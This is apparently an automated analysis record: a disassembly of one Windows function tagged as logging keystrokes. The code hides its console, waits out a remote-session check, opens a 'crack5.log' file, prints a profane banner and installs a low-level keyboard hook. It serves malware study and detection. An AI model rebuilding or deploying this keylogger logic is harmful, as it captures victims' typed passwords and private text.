Function at 0x140002210
Capabilities:
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000c008]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0x2004
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x14000228d
nop dword [rax + rax]
lea rdx, str.SYSTEM_IS_LOADING__WAITING_10_SECONDS..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2004
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x140002260
lea rdx, str.CRACKING5_THAT_LOG_BITCH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
mov rcx, rax
lea rdx, str.crack5.log
call fcn.140003ed0
mov rcx, rax
lea rdx, [0x140004260]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x14000c0d8], 0
jne 0x140002416
mov edx, 0xa
lea r8d, [rdx + 0x36]
lea rcx, str.crack5.log
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
mov rbx, rax
test rax, rax
je 0x140002416
mov byte [0x14000c0d4], 1
mov byte [0x14000c0c9], 0
lea rcx, [0x14000c058]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], rdi
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov rax, qword [rsp + 0x30]
mov qword [0x14000c070], rax
mov qword [0x14000c078], rax
mov rax, qword [rsp + 0x38]
mov qword [0x14000c090], rax
mov qword [0x14000c098], rax
mov rax, qword [rsp + 0x40]
mov qword [0x14000c0a8], rax
mov qword [0x14000c0b0], rax
mov qword [0x14000c0d8], rbx
mov rax, qword [0x14000cc78]
mov qword [0x14000c0cc], rax
mov qword [0x14000c0c0], rdi
lea rdx, [rsp + 0x20]
lea rcx, [0x14000c058]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.1400042a0
mov rbx, rax
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x1400023bc
mov qword [0x14000c0c0], rdi
jmp 0x1400023d1
mov qword [0x14000c0c0], rbx
lea rcx, [0x14000c058]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x1400023f4
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1400023f4
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [0x14000c050]
movsxd rcx, dword [rax + 4]
lea rax, [0x14000c050]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140002438
mov rax, qword [0x14000c050]
movsxd rcx, dword [rax + 4]
lea rax, [0x14000c050]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, str._...................................................................._:....................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._..........................._::.......::___:.............__.__....................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._.........................:.__::______________:......:____....................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._.........................:_______________________:..:______.....................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._..........................___________:.........:____________......................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._..........................___________:.........:____________......................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._.........................._______.._............._.:________:.......................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._........................______________...__.._______:________._._....................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._......................____________:_________.._________._______.___.....................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._....................:_________________________________:______:_____...................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._...................._______________________________._______:____....................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._....................___:_.______.________________.______:_____..................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._....................___.__________________________._____:____:____.................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._...................___.____._______.________....::______...___:.____...............
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._................__:__._____:_________________________:._..............
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._................_.____::_____________________________________________:.:.............
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._...............:________________________________________________________.............
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._.........._________________________________________:.................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._........._________________________.._________:_____.________................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._.......:__________:......:________:____.________________:_____...............
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._..........:_______:_________:________:____________________:______...............
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._................_____.__________________._.____.__________:_____................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._..................:____________._________:__________._____.._...................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._...................___._____________________________:____:___...................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._....................__:________.____________:______:______.___...................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._.......................___.______:______________.____.______........................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._.........................:__.________________________.........................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._............................:________________________.__........................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._...............................:___________________:...._..........................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._...................................._.:_______:....__.._...........................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._.................................__.____.______._______...............................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._....................................._______:...______................................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, str._......................................._.._:..____.._...................................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
lea rdx, [0x140007790]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ed0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140001be0]
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x14000cb40], rax
test rax, rax
jne 0x140002700
lea r9d, [rax + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_install_hook_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop dword [rax + rax]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x48]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140002700
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140004f00
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret